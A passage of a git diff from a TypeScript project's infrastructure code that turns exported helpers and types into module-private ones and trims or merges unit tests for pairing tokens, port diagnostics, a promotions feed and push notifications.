a/src/infra/package-json.ts b/src/infra/package-json.ts index 4607b76f93de..ff5ff73b889b 100644 --- a/src/infra/package-json.ts +++ b/src/infra/package-json.ts @@ -10,7 +10,7 @@ type PackageJson = { }; /** Reads package.json as a loose object, returning null for missing or invalid manifests. */ -export async function readPackageJson(root: string): Promise { +async function readPackageJson(root: string): Promise { const parsed = await tryReadJson(path.join(root, "package.json")); return parsed && typeof parsed === "object" && !Array.isArray(parsed) ? (parsed as PackageJson) diff --git a/src/infra/package-manager-exec-wrapper.ts b/src/infra/package-manager-exec-wrapper.ts index 1d24f88c135e..1f6e45bda786 100644 --- a/src/infra/package-manager-exec-wrapper.ts +++ b/src/infra/package-manager-exec-wrapper.ts @@ -3,7 +3,7 @@ import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/st import { normalizeExecutableToken } from "./exec-wrapper-tokens.js"; import { parseInlineOptionToken } from "./inline-option-token.js"; -export const NPM_EXEC_OPTIONS_WITH_VALUE = new Set([ +const NPM_EXEC_OPTIONS_WITH_VALUE = new Set([ "--cache", "--loglevel", "--package", @@ -142,7 +142,7 @@ export function normalizePackageManagerExecToken(token: string): string { return normalizeExecutableToken(token).replace(/\.(?:c|m)?js$/i, ""); } -export type PackageManagerExecInvocation = +type PackageManagerExecInvocation = | { kind: "not-package-manager" } | { kind: "not-exec" } | { kind: "unsafe-exec" } diff --git a/src/infra/package-update-steps.test.ts b/src/infra/package-update-steps.test.ts index 1532ad1a7688..ca522a1902af 100644 --- a/src/infra/package-update-steps.test.ts +++ b/src/infra/package-update-steps.test.ts @@ -2,12 +2,11 @@ import fs from "node:fs/promises"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; +import { writePackageDistInventory } from "../../scripts/lib/package-dist-inventory.ts"; import { withTempDir } from "../test-helpers/temp-dir.js"; -import { writePackageDistInventory } from "./package-dist-inventory.js"; import { markPackagePostInstallDoctorAdvisory, runGlobalPackageUpdateSteps, - type PackageUpdateStepResult, } from "./package-update-steps.js"; import { createDeferredConfiguredPluginRepairDoctorResult, @@ -19,6 +18,10 @@ import { type ResolvedGlobalInstallTarget, } from "./update-global.js"; +type PackageUpdateStepResult = Awaited< + ReturnType +>["steps"][number]; + async function writePackageRoot(packageRoot: string, version: string): Promise { await fs.mkdir(path.join(packageRoot, "dist"), { recursive: true }); await Promise.all([ diff --git a/src/infra/package-update-steps.ts b/src/infra/package-update-steps.ts index 1f217a11111b..b80d4c03ce6b 100644 --- a/src/infra/package-update-steps.ts +++ b/src/infra/package-update-steps.ts @@ -34,7 +34,7 @@ const PACKAGE_MANAGER_SWAP_SOURCE_HARDLINKS = "allow" as const; * Captures one package-manager or filesystem step from the global update flow. * Callers surface these records directly in update diagnostics. */ -export type PackageUpdateStepResult = { +type PackageUpdateStepResult = { name: string; command: string; cwd: string; diff --git a/src/infra/pairing-files.ts b/src/infra/pairing-files.ts index 90e3f623d4db..3b5cb3cfcb92 100644 --- a/src/infra/pairing-files.ts +++ b/src/infra/pairing-files.ts @@ -2,7 +2,7 @@ import path from "node:path"; import { resolveStateDir } from "../config/paths.js"; -export { createAsyncLock, readJsonIfExists, writeJson } from "./json-files.js"; +export { createAsyncLock, readJsonIfExists } from "./json-files.js"; /** Resolve pending/paired JSON file locations for one pairing namespace. */ export function resolvePairingPaths(baseDir: string | undefined, subdir: string) { diff --git a/src/infra/pairing-token.test.ts b/src/infra/pairing-token.test.ts index fd34978b8948..0d7f4087fa15 100644 --- a/src/infra/pairing-token.test.ts +++ b/src/infra/pairing-token.test.ts @@ -15,12 +15,10 @@ vi.mock("node:crypto", async () => { type PairingTokenModule = typeof import("./pairing-token.js"); let generatePairingToken: PairingTokenModule["generatePairingToken"]; -let PAIRING_TOKEN_BYTES: PairingTokenModule["PAIRING_TOKEN_BYTES"]; let verifyPairingToken: PairingTokenModule["verifyPairingToken"]; beforeAll(async () => { - ({ generatePairingToken, PAIRING_TOKEN_BYTES, verifyPairingToken } = - await import("./pairing-token.js")); + ({ generatePairingToken, verifyPairingToken } = await import("./pairing-token.js")); }); beforeEach(() => { @@ -28,11 +26,11 @@ beforeEach(() => { }); describe("generatePairingToken", () => { - it("uses the configured byte count and returns a base64url token", () => { + it("uses 32 random bytes and returns a base64url token", () => { randomBytesMock.mockReturnValueOnce(Buffer.from([0xfb, 0xff, 0x00])); expect(generatePairingToken()).toBe("-_8A"); - expect(randomBytesMock).toHaveBeenCalledWith(PAIRING_TOKEN_BYTES); + expect(randomBytesMock).toHaveBeenCalledWith(32); }); }); diff --git a/src/infra/pairing-token.ts b/src/infra/pairing-token.ts index 683b580d29ae..e2feed7ef83b 100644 --- a/src/infra/pairing-token.ts +++ b/src/infra/pairing-token.ts @@ -3,7 +3,7 @@ import { randomBytes } from "node:crypto"; import { safeEqualSecret } from "../security/secret-equal.js"; /** Random byte length for base64url device/node/bootstrap bearer tokens. */ -export const PAIRING_TOKEN_BYTES = 32; +const PAIRING_TOKEN_BYTES = 32; /** Generate a URL-safe bearer token for pairing and bootstrap flows. */ export function generatePairingToken(): string { diff --git a/src/infra/path-guards.test.ts b/src/infra/path-guards.test.ts index 24a53c60d691..ebf7e6f5616b 100644 --- a/src/infra/path-guards.test.ts +++ b/src/infra/path-guards.test.ts @@ -2,11 +2,8 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import { mockProcessPlatform } from "../test-utils/vitest-spies.js"; import { - hasNodeErrorCode, - isNodeError, isNotFoundPathError, isPathInside, - isSymlinkOpenError, normalizeWindowsPathForComparison, } from "./path-guards.js"; @@ -29,20 +26,6 @@ describe("normalizeWindowsPathForComparison", () => { }); describe("node path error helpers", () => { - it.each([ - [{ code: "ENOENT" }, true], - [{ message: "nope" }, false], - ])("detects node-style error %j", (value, expected) => { - expect(isNodeError(value)).toBe(expected); - }); - - it.each([ - [{ code: "ENOENT" }, "ENOENT", true], - [{ code: "ENOENT" }, "EACCES", false], - ])("matches node error code for %j", (value, code, expected) => { - expect(hasNodeErrorCode(value, code)).toBe(expected); - }); - it.each([ [{ code: "ENOENT" }, true], [{ code: "ENOTDIR" }, true], @@ -51,16 +34,6 @@ describe("node path error helpers", () => { ])("classifies not-found path error for %j", (value, expected) => { expect(isNotFoundPathError(value)).toBe(expected); }); - - it.each([ - [{ code: "ELOOP" }, true], - [{ code: "EINVAL" }, true], - [{ code: "ENOTSUP" }, true], - [{ code: "ENOENT" }, false], - [{ code: null }, false], - ])("classifies symlink-open error for %j", (value, expected) => { - expect(isSymlinkOpenError(value)).toBe(expected); - }); }); describe("isPathInside", () => { diff --git a/src/infra/path-guards.ts b/src/infra/path-guards.ts index 778ce95a8c5f..2221b196744e 100644 --- a/src/infra/path-guards.ts +++ b/src/infra/path-guards.ts @@ -4,16 +4,7 @@ import "./fs-safe-defaults.js"; // Generic path guard facade for containment checks and safe relative paths. export { isNotFoundPathError, - hasNodeErrorCode, - isNodeError, isPathInside, - isPathInsideWithRealpath, - isSymlinkOpenError, - isWithinDir, normalizeWindowsPathForComparison, - resolveSafeBaseDir, - resolveSafeRelativePath, - safeRealpathSync, safeStatSync, - splitSafeRelativePath, } from "@openclaw/fs-safe/path"; diff --git a/src/infra/path-safety.test.ts b/src/infra/path-safety.test.ts index bd1350710322..0081b7d93578 100644 --- a/src/infra/path-safety.test.ts +++ b/src/infra/path-safety.test.ts @@ -1,17 +1,8 @@ // Covers safe base-dir and containment checks. -import path from "node:path"; import { describe, expect, it } from "vitest"; -import { isWithinDir, resolveSafeBaseDir } from "./path-safety.js"; +import { isWithinDir } from "./path-safety.js"; describe("path-safety", () => { - it.each([ - { rootDir: "/tmp/demo", expected: `${path.resolve("/tmp/demo")}${path.sep}` }, - { rootDir: `/tmp/demo${path.sep}`, expected: `${path.resolve("/tmp/demo")}${path.sep}` }, - { rootDir: "/tmp/demo/..", expected: `${path.resolve("/tmp")}${path.sep}` }, - ])("resolves safe base dir for %j", ({ rootDir, expected }) => { - expect(resolveSafeBaseDir(rootDir)).toBe(expected); - }); - it.each([ { rootDir: "/tmp/demo", targetPath: "/tmp/demo", expected: true }, { rootDir: "/tmp/demo", targetPath: "/tmp/demo/sub/file.txt", expected: true }, diff --git a/src/infra/path-safety.ts b/src/infra/path-safety.ts index 7ba8eb243258..5fa0180b5e13 100644 --- a/src/infra/path-safety.ts +++ b/src/infra/path-safety.ts @@ -3,18 +3,10 @@ import "./fs-safe-defaults.js"; // Back-compat import path for path guard helpers used across core surfaces. export { - isNotFoundPathError, - hasNodeErrorCode, - isNodeError, isPathInside, isPathInsideWithRealpath, - isSymlinkOpenError, isWithinDir, - normalizeWindowsPathForComparison, - resolveSafeBaseDir, - resolveSafeRelativePath, safeRealpathSync, safeStatSync, - splitSafeRelativePath, } from "@openclaw/fs-safe/path"; export { formatPosixMode } from "@openclaw/fs-safe/advanced"; diff --git a/src/infra/permissions.ts b/src/infra/permissions.ts index 4f31122ca464..36600c8a4392 100644 --- a/src/infra/permissions.ts +++ b/src/infra/permissions.ts @@ -14,12 +14,5 @@ export { export { createIcaclsResetCommand, formatIcaclsResetCommand, - formatWindowsAclSummary, - inspectWindowsAcl, - parseIcaclsOutput, - resolveWindowsUserPrincipal, - summarizeWindowsAcl, type PermissionExec as ExecFn, - type WindowsAclEntry, - type WindowsAclSummary, } from "@openclaw/fs-safe/advanced"; diff --git a/src/infra/ports-format.test.ts b/src/infra/ports-format.test.ts index f3c3c9fa8588..1c4ff577b190 100644 --- a/src/infra/ports-format.test.ts +++ b/src/infra/ports-format.test.ts @@ -5,11 +5,9 @@ import { buildPortHints, classifyPortListener, formatPortDiagnostics, - formatPortListener, isDualStackLoopbackGatewayListeners, isExpectedGatewayListeners, isSameProcessSpecificIpv4WithLoopbackListeners, - isSingleExpectedGatewayListener, } from "./ports-format.js"; const gatewayAlreadyRunningHint = `Gateway already running locally. Stop it (${formatCliCommand("openclaw gateway stop")}) or use a different port.`; @@ -157,21 +155,6 @@ describe("ports-format", () => { expect(buildPortHints(listeners, 18789)).toContain(gatewayAlreadyRunningHint); }); - it.each([ - "127.0.0.1:18789", - "[::1]:18789", - "localhost:18789", - "0.0.0.0:18789", - "[::]:18789", - "*:18789", - ])("treats a single expected Gateway listener on %s as benign", (address) => { - const listeners = [{ pid: 4242, commandLine: "openclaw-gateway", address }]; - - expect(isSingleExpectedGatewayListener(listeners, 18789)).toBe(true); - expect(isExpectedGatewayListeners(listeners, 18789)).toBe(true); - expect(buildPortHints(listeners, 18789)).toEqual([]); - }); - it("keeps Gateway conflict hints for ambiguous Gateway listeners", () => { expect( buildPortHints( @@ -184,17 +167,6 @@ describe("ports-format", () => { ).toEqual([gatewayAlreadyRunningHint, multipleListenersHint]); }); - it.each([ - [ - { pid: 123, user: "alice", commandLine: "ssh -N", address: "::1" }, - "pid 123 alice: ssh -N (::1)", - ], - [{ command: "ssh", address: "127.0.0.1:18789" }, "pid ?: ssh (127.0.0.1:18789)"], - [{}, "pid ?: unknown"], - ] as const)("formats port listener %j", (listener, expected) => { - expect(formatPortListener(listener)).toBe(expected); - }); - it("formats free and busy port diagnostics", () => { expect( formatPortDiagnostics({ diff --git a/src/infra/ports-format.ts b/src/infra/ports-format.ts index 002db61d0bba..8f7f714692d9 100644 --- a/src/infra/ports-format.ts +++ b/src/infra/ports-format.ts @@ -127,7 +127,7 @@ function parseGatewayListeners( } /** Returns true for one Gateway listener bound to an expected loopback or wildcard address. */ -export function isSingleExpectedGatewayListener(listeners: PortListener[], port: number): boolean { +function isSingleExpectedGatewayListener(listeners: PortListener[], port: number): boolean { if (listeners.length !== 1) { return false; } @@ -231,7 +231,7 @@ export function buildPortHints(listeners: PortListener[], port: number): string[ } /** Formats one listener row for CLI diagnostics. */ -export function formatPortListener(listener: PortListener): string { +function formatPortListener(listener: PortListener): string { const pid = listener.pid ? `pid ${listener.pid}` : "pid ?"; const user = listener.user ? ` ${listener.user}` : ""; const command = listener.commandLine || listener.command || "unknown"; diff --git a/src/infra/ports-netstat.ts b/src/infra/ports-netstat.ts index 44a81f9133b5..b7399c82fc8d 100644 --- a/src/infra/ports-netstat.ts +++ b/src/infra/ports-netstat.ts @@ -2,7 +2,7 @@ import { expectDefined } from "@openclaw/normalization-core"; import { parseStrictPositiveInteger } from "./parse-finite-number.js"; import type { PortListener } from "./ports-types.js"; -export type WindowsNetstatListener = PortListener & { pid: number; address: string }; +type WindowsNetstatListener = PortListener & { pid: number; address: string }; function normalizeTcpHost(host: string): string { const normalized = host.toLowerCase(); diff --git a/src/infra/ports.ts b/src/infra/ports.ts index 23eb70d36732..1e5f181d587c 100644 --- a/src/infra/ports.ts +++ b/src/infra/ports.ts @@ -7,14 +7,7 @@ import { isErrno } from "./errors.js"; import { formatPortDiagnostics } from "./ports-format.js"; import { inspectPortUsage } from "./ports-inspect.js"; import { tryListenOnPort } from "./ports-probe.js"; -import type { - PortConnection, - PortConnections, - PortListener, - PortListenerKind, - PortUsage, - PortUsageStatus, -} from "./ports-types.js"; +import type { PortConnection, PortListener, PortUsage, PortUsageStatus } from "./ports-types.js"; class PortInUseError extends Error { port: number; @@ -95,20 +88,11 @@ export async function handlePortError( } export { PortInUseError }; -export type { - PortConnection, - PortConnections, - PortListener, - PortListenerKind, - PortUsage, - PortUsageStatus, -}; +export type { PortConnection, PortListener, PortUsage, PortUsageStatus }; export { - buildPortHints, classifyPortListener, formatPortDiagnostics, isDualStackLoopbackGatewayListeners, isExpectedGatewayListeners, - isSingleExpectedGatewayListener, } from "./ports-format.js"; export { inspectPortConnections, inspectPortUsage } from "./ports-inspect.js"; diff --git a/src/infra/private-file-store.ts b/src/infra/private-file-store.ts index 4d530c5e453d..c9a974fcebea 100644 --- a/src/infra/private-file-store.ts +++ b/src/infra/private-file-store.ts @@ -15,7 +15,7 @@ export function privateFileStore(rootDir: string): FileStore { return fileStore({ rootDir, private: true }); } -export type PrivateFileStoreSync = FileStoreSync; +type PrivateFileStoreSync = FileStoreSync; /** Create a sync private file store rooted at `rootDir`. */ export function privateFileStoreSync(rootDir: string): PrivateFileStoreSync { diff --git a/src/infra/promotions-feed.test.ts b/src/infra/promotions-feed.test.ts index bc0948202c18..6791c0eef7a0 100644 --- a/src/infra/promotions-feed.test.ts +++ b/src/infra/promotions-feed.test.ts @@ -17,7 +17,6 @@ import { markPromotionSlugsNotified, maybeRefreshPromotionsFeed, readPromotionClaims, - readPromotionsFeedState, recordPromotionClaim, } from "./promotions-feed.js"; @@ -64,35 +63,23 @@ describe("promotions feed state", () => { await testState.cleanup(); }); - it("caches a fetched snapshot and round-trips it from storage", async () => { + it("round-trips a fetched snapshot while the last check is fresh", async () => { mockHttp.intercept({ url: FEED_URL, reply: { json: feedPayload(), headers: { etag: '"v4"' } }, }); - const state = await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl: globalThis.fetch }); - expect(mockHttp.requests()).toHaveLength(1); - expect(state.sequence).toBe(4); - expect(state.etag).toBe('"v4"'); - expect(state.expiresAtMs).toBe(Date.parse("2026-07-06T00:00:00.000Z")); - expect(state.entries).toHaveLength(1); - - const persisted = readPromotionsFeedState(); - expect(persisted.sequence).toBe(4); - expect(persisted.expiresAtMs).toBe(Date.parse("2026-07-06T00:00:00.000Z")); - expect(persisted.entries[0]?.slug).toBe("example-models-launch"); - expect(listLivePromotionEntries(persisted, NOW)).toHaveLength(1); - expect(listLivePromotionEntries(persisted, NOW + 3 * 86_400_000)).toHaveLength(0); - }); - - it("skips the network while the last check is fresh", async () => { - mockHttp.intercept({ url: FEED_URL, reply: { json: feedPayload() } }); await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl: globalThis.fetch }); const second = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl: globalThis.fetch, }); expect(mockHttp.requests()).toHaveLength(1); - expect(second.entries).toHaveLength(1); + expect(second.sequence).toBe(4); + expect(second.etag).toBe('"v4"'); + expect(second.expiresAtMs).toBe(Date.parse("2026-07-06T00:00:00.000Z")); + expect(second.entries[0]?.slug).toBe("example-models-launch"); + expect(listLivePromotionEntries(second, NOW)).toHaveLength(1); + expect(listLivePromotionEntries(second, NOW + 3 * 86_400_000)).toHaveLength(0); }); it("refreshes at feed expiry and keeps an expired 304 snapshot hidden without retrying", async () => { @@ -101,7 +88,11 @@ describe("promotions feed state", () => { url: FEED_URL, reply: { json: feedPayload({ expiresAt }), headers: { etag: '"v4"' } }, }); - mockHttp.intercept({ url: FEED_URL, reply: { status: 304 } }); + mockHttp.intercept({ + url: FEED_URL, + requestHeaders: { "if-none-match": '"v4"' }, + reply: { status: 304 }, + }); await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl: globalThis.fetch }); const expired = await maybeRefreshPromotionsFeed({ @@ -116,6 +107,7 @@ describe("promotions feed state", () => { fetchImpl: globalThis.fetch, }); expect(mockHttp.requests()).toHaveLength(2); + expect(cached.lastCheckedAtMs).toBe(NOW + 60_000); expect(listLivePromotionEntries(cached, NOW + 61_000)).toHaveLength(0); }); @@ -163,27 +155,6 @@ describe("promotions feed state", () => { expect(listLivePromotionEntries(refreshed, NOW + 60_000)).toHaveLength(1); }); - it("revalidates with If-None-Match and keeps the cache on 304", async () => { - mockHttp.intercept({ - url: FEED_URL, - reply: { json: feedPayload(), headers: { etag: '"v4"' } }, - }); - mockHttp.intercept({ - url: FEED_URL, - requestHeaders: { "if-none-match": '"v4"' }, - reply: { status: 304 }, - }); - await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl: globalThis.fetch }); - const state = await maybeRefreshPromotionsFeed({ - nowMs: NOW + 60_000, - force: true, - fetchImpl: globalThis.fetch, - }); - expect(mockHttp.requests()).toHaveLength(2); - expect(state.entries).toHaveLength(1); - expect(readPromotionsFeedState().lastCheckedAtMs).toBe(NOW + 60_000); - }); - it("drops a stale validator when the cached payload is invalid", async () => { mockHttp.intercept({ url: FEED_URL, @@ -249,13 +220,14 @@ describe("promotions feed state", () => { expect(state.lastCheckedAtMs).toBe(NOW + 60_000); }); - it("persists notified slugs across reads", () => { + it("persists and deduplicates notified promotion slugs", async () => { markPromotionSlugsNotified(["example-models-launch", "second-offer"]); markPromotionSlugsNotified(["example-models-launch"]); - expect([...readPromotionsFeedState().notifiedSlugs].toSorted()).toEqual([ - "example-models-launch", - "second-offer", - ]); + mockHttp.intercept({ url: FEED_URL, reply: { json: feedPayload() } }); + + const state = await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl: globalThis.fetch }); + + expect([...state.notifiedSlugs].toSorted()).toEqual(["example-models-launch", "second-offer"]); }); it("round-trips claim provenance and upserts by slug", () => { diff --git a/src/infra/promotions-feed.ts b/src/infra/promotions-feed.ts index 08162cd8226b..da79d033d97b 100644 --- a/src/infra/promotions-feed.ts +++ b/src/infra/promotions-feed.ts @@ -32,7 +32,7 @@ type PromotionsFeedDatabase = Pick< "clawhub_promotions_feed_state" | "clawhub_promotion_claims" >; -export type PromotionsFeedState = { +type PromotionsFeedState = { etag?: string; sequence?: number; expiresAtMs?: number; @@ -41,7 +41,7 @@ export type PromotionsFeedState = { notifiedSlugs: Set; }; -export type PromotionClaimRecord = { +type PromotionClaimRecord = { slug: string; provider?: string; modelKeys: string[]; @@ -125,7 +125,7 @@ function readPromotionsFeedStateWithMetadata(): PromotionsFeedStateRead { } } -export function readPromotionsFeedState(): PromotionsFeedState { +function readPromotionsFeedState(): PromotionsFeedState { return readPromotionsFeedStateWithMetadata().state; } diff --git a/src/infra/push-apns-http2.test.ts b/src/infra/push-apns-http2.test.ts index 9cd4c9a7f3d9..dacb099c49f8 100644 --- a/src/infra/push-apns-http2.test.ts +++ b/src/infra/push-apns-http2.test.ts @@ -2,13 +2,15 @@ import type http2 from "node:http2"; import { MAX_TIMER_TIMEOUT_MS } from "@openclaw/normalization-core/number-coercion"; import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { HttpConnectTunnelParams } from "./net/http-connect-tunnel.js"; import { - resetActiveManagedProxyStateForTests, registerActiveManagedProxyUrl, stopActiveManagedProxyRegistration, } from "./net/proxy/active-proxy-state.js"; +type HttpConnectTunnelParams = Parameters< + typeof import("./net/http-connect-tunnel.js").openHttpConnectTunnel +>[0]; + const { connectSpy, tunnelSpy, fakeRequest, fakeSession, fakeTlsSocket } = vi.hoisted(() => { class FakeEmitter { private readonly handlers = new Map void>>(); @@ -117,7 +119,6 @@ describe("connectApnsHttp2Session", () => { fakeSession.close.mockClear(); fakeSession.destroy.mockClear(); fakeSession.request.mockClear(); - resetActiveManagedProxyStateForTests(); }); it("uses direct http2.connect when managed proxy is inactive", async () => { const { connectApnsHttp2Session } = await import("./push-apns-http2.js"); diff --git a/src/infra/push-apns-http2.ts b/src/infra/push-apns-http2.ts index 6d89ff78a65f..d9bb69850c2c 100644 --- a/src/infra/push-apns-http2.ts +++ b/src/infra/push-apns-http2.ts @@ -23,20 +23,20 @@ export const APNS_HTTP2_CANCEL_CODE = http2.constants.NGHTTP2_CANCEL; const APNS_RESPONSE_BODY_MAX_BYTES = 8192; const APNS_HTTP2_MIN_TIMEOUT_MS = 1000; -export type ApnsResponseBodyCapture = { +type ApnsResponseBodyCapture = { text: string; bytes: number; truncated: boolean; }; /** Parameters for opening an APNs HTTP/2 client session. */ -export type ConnectApnsHttp2SessionParams = { +type ConnectApnsHttp2SessionParams = { authority: string; timeoutMs: number; }; /** Parameters for validating APNs reachability through an explicit proxy. */ -export type ProbeApnsHttp2ReachabilityViaProxyParams = { +type ProbeApnsHttp2ReachabilityViaProxyParams = { authority: string; proxyUrl: string; proxyTls?: ManagedProxyTlsOptions; @@ -44,7 +44,7 @@ export type ProbeApnsHttp2ReachabilityViaProxyParams = { }; /** APNs probe response used to prove a proxy tunneled to Apple. */ -export type ProbeApnsHttp2ReachabilityViaProxyResult = { +type ProbeApnsHttp2ReachabilityViaProxyResult = { status: number; body: string; /** Raw response headers from APNs. Includes apns-id when the connection was truly tunneled to Apple. */ diff --git a/src/infra/push-apns.auth.test.ts b/src/infra/push-apns.auth.test.ts index a780a00a19c7..63bb76ea66eb 100644 --- a/src/infra/push-apns.auth.test.ts +++ b/src/infra/push-apns.auth.test.ts @@ -7,7 +7,6 @@ import { normalizeApnsEnvironment, resolveApnsAuthConfigFromEnv, shouldClearStoredApnsRegistration, - shouldInvalidateApnsRegistration, } from "./push-apns.js"; const tempDirs = createTrackedTempDirs(); @@ -113,15 +112,6 @@ describe("push APNs auth and helper coverage", () => { } }); - it("invalidates only real bad-token APNs failures", () => { - expect(shouldInvalidateApnsRegistration({ status: 410, reason: "Unregistered" })).toBe(true); - expect(shouldInvalidateApnsRegistration({ status: 400, reason: " BadDeviceToken " })).toBe( - true, - ); - expect(shouldInvalidateApnsRegistration({ status: 400, reason: "BadTopic" })).toBe(false); - expect(shouldInvalidateApnsRegistration({ status: 429, reason: "BadDeviceToken" })).toBe(false); - }); - it("clears only direct registrations without an environment override mismatch", () => { expect( shouldClearStoredApnsRegistration({ diff --git a/src/infra/push-apns.relay.test.ts b/src/infra/push-apns.relay.test.ts index a2985cb22be9..b220e240450b 100644 --- a/src/infra/push-apns.relay.test.ts +++ b/src/infra/push-apns.relay.test.ts @@ -7,12 +7,7 @@ import { publicKeyRawBase64UrlFromPem, verifyDeviceSignature, } from "./device-identity.js"; -import { - DEFAULT_APNS_RELAY_BASE_URL, - DEFAULT_APNS_SANDBOX_RELAY_BASE_URL, - resolveApnsRelayConfigFromEnv, - sendApnsRelayPush, -} from "./push-apns.relay.js"; +import { resolveApnsRelayConfigFromEnv, sendApnsRelayPush } from "./push-apns.relay.js"; const relayGatewayIdentity = (() => { const { publicKey, privateKey } = generateKeyPairSync("ed25519"); @@ -67,30 +62,6 @@ function firstMockCall(mock: { mock: { calls: T[] } }): T | describe("push-apns.relay", () => { describe("resolveApnsRelayConfigFromEnv", () => { - it("defaults to the hosted relay when the registration was minted by the hosted relay", () => { - expectRelayConfig( - resolveApnsRelayConfigFromEnv({} as NodeJS.ProcessEnv, undefined, { - registrationRelayOrigin: `${DEFAULT_APNS_RELAY_BASE_URL}/`, - }), - { - baseUrl: DEFAULT_APNS_RELAY_BASE_URL, - timeoutMs: 10_000, - }, - ); - }); - - it("defaults to the sandbox hosted relay when the registration was minted there", () => { - expectRelayConfig( - resolveApnsRelayConfigFromEnv({} as NodeJS.ProcessEnv, undefined, { - registrationRelayOrigin: `${DEFAULT_APNS_SANDBOX_RELAY_BASE_URL}/`, - }), - { - baseUrl: DEFAULT_APNS_SANDBOX_RELAY_BASE_URL, - timeoutMs: 10_000, - }, - ); - }); - it("fails closed when relay registration origin is unknown and no relay URL is configured", () => { const resolved = resolveApnsRelayConfigFromEnv({} as NodeJS.ProcessEnv); @@ -100,19 +71,6 @@ describe("push-apns.relay", () => { } }); - it("rejects config that does not match the registration relay origin", () => { - const resolved = resolveApnsRelayConfigFromEnv( - {} as NodeJS.ProcessEnv, - { push: { apns: { relay: { baseUrl: DEFAULT_APNS_RELAY_BASE_URL } } } }, - { registrationRelayOrigin: "https://relay.example.com" }, - ); - - expect(resolved.ok).toBe(false); - if (!resolved.ok) { - expect(resolved.error).toContain("origin mismatch"); - } - }); - it("lets env overrides win and clamps tiny timeout values", () => { const resolved = resolveApnsRelayConfigFromEnv( { diff --git a/src/infra/push-apns.relay.ts b/src/infra/push-apns.relay.ts index 1b9f58414f92..223b3fe0c810 100644 --- a/src/infra/push-apns.relay.ts +++ b/src/infra/push-apns.relay.ts @@ -57,8 +57,8 @@ export type ApnsRelayRequestSender = (params: { }) => Promise; /** Hosted APNs relay origin used only when registrations prove they were minted there. */ -export const DEFAULT_APNS_RELAY_BASE_URL = "https://ios-push-relay.openclaw.ai"; -export const DEFAULT_APNS_SANDBOX_RELAY_BASE_URL = "https://ios-push-relay-sandbox.openclaw.ai"; +const DEFAULT_APNS_RELAY_BASE_URL = "https://ios-push-relay.openclaw.ai"; +const DEFAULT_APNS_SANDBOX_RELAY_BASE_URL = "https://ios-push-relay-sandbox.openclaw.ai"; const DEFAULT_APNS_RELAY_TIMEOUT_MS = 10_000; // Hard cap on the relay response body. The hosted relay reply is a tiny JSON status object; // without a cap a buggy/hostile/compromised relay could stream an unbounded body and exhaust diff --git a/src/infra/push-apns.ts b/src/infra/push-apns.ts index 864c6411d627..e2eb8486e727 100644 --- a/src/infra/push-apns.ts +++ b/src/infra/push-apns.ts @@ -66,7 +66,7 @@ export type ApnsAuthConfig = { type ApnsAuthConfigResolution = { ok: true; value: ApnsAuthConfig } | { ok: false; error: string }; /** Normalized APNs push result returned to gateway push/nodes methods. */ -export type ApnsPushResult = { +type ApnsPushResult = { ok: boolean; status: number; apnsId?: string; @@ -589,10 +589,7 @@ export async function clearApnsRegistrationIfCurrent(params: { } /** Returns true for APNs responses that mean the direct device token is no longer usable. */ -export function shouldInvalidateApnsRegistration(result: { - status: number; - reason?: string; -}): boolean { +function shouldInvalidateApnsRegistration(result: { status: number; reason?: string }): boolean { if (result.status === 410) { return true; } diff --git a/src/infra/push-web.test.ts b/src/infra/push-web.test.ts index 2aff27ecec24..3489b19489dd 100644 --- a/src/infra/push-web.test.ts +++ b/src/infra/push-web.test.ts @@ -7,7 +7,6 @@ import webPush from "web-push"; import { broadcastWebPush, clearWebPushSubscriptionByEndpoint, - listWebPushSubscriptions, registerWebPushSubscription, resolveVapidKeys, } from "./push-web.js"; @@ -113,28 +112,10 @@ describe("subscription CRUD", () => { expect(sub2.keys.p256dh).toBe("new-p256dh"); }); - it("lists all subscriptions", async () => { - await registerWebPushSubscription({ - endpoint: "https://push.example.com/a", - keys, - baseDir: tmpDir, - }); - await registerWebPushSubscription({ - endpoint: "https://push.example.com/b", - keys, - baseDir: tmpDir, - }); - const list = await listWebPushSubscriptions(tmpDir); - expect(list).toHaveLength(2); - }); - it("clears a subscription by endpoint", async () => { await registerWebPushSubscription({ endpoint, keys, baseDir: tmpDir }); - const removed = await clearWebPushSubscriptionByEndpoint(endpoint, tmpDir); - expect(removed).toBe(true); - - const list = await listWebPushSubscriptions(tmpDir); - expect(list).toHaveLength(0); + await expect(clearWebPushSubscriptionByEndpoint(endpoint, tmpDir)).resolves.toBe(true); + await expect(clearWebPushSubscriptionByEndpoint(endpoint, tmpDir)).resolves.toBe(false); }); it("rejects invalid endpoint", async () => { diff --git a/src/infra/push-web.ts b/src/infra/push-web.ts index 087c13f1efe4..38f6bbbc3695 100644 --- a/src/infra/push-web.ts +++ b/src/infra/push-web.ts @@ -189,7 +189,7 @@ export async function registerWebPushSubscription( }); } -export async function listWebPushSubscriptions(baseDir?: string): Promise { +async function listWebPushSubscriptions(baseDir?: string): Promise { const state = await loadState(baseDir); return Object.values(state.subscriptionsByEndpointHash); } diff --git a/src/infra/regular-file.ts b/src/infra/regular-file.ts index 35d97d40b589..faf6e036661e 100644 --- a/src/infra/regular-file.ts +++ b/src/infra/regular-file.ts @@ -8,8 +8,4 @@ export { appendRegularFileSync, readRegularFile, readRegularFileSync, - resolveRegularFileAppendFlags, - statRegularFile, - statRegularFileSync, - type RegularFileStatResult, } from "@openclaw/fs-safe/advanced"; diff --git a/src/infra/resolve-system-bin.test.ts b/src/infra/resolve-system-bin.test.ts index 41acd1c96e0b..9a8195316ef2 100644 --- a/src/infra/resolve-system-bin.test.ts +++ b/src/infra/resolve-system-bin.test.ts @@ -1,45 +1,68 @@ // Covers trusted system binary resolution across platform install roots. import path from "node:path"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - getTrustedDirsForTest, - resetResolveSystemBin, - resolveSystemBin, -} from "./resolve-system-bin.js"; -import { - resetWindowsInstallRootsForTests, - getWindowsInstallRoots, - getWindowsProgramFilesRoots, -} from "./windows-install-roots.js"; +import { importFreshModule } from 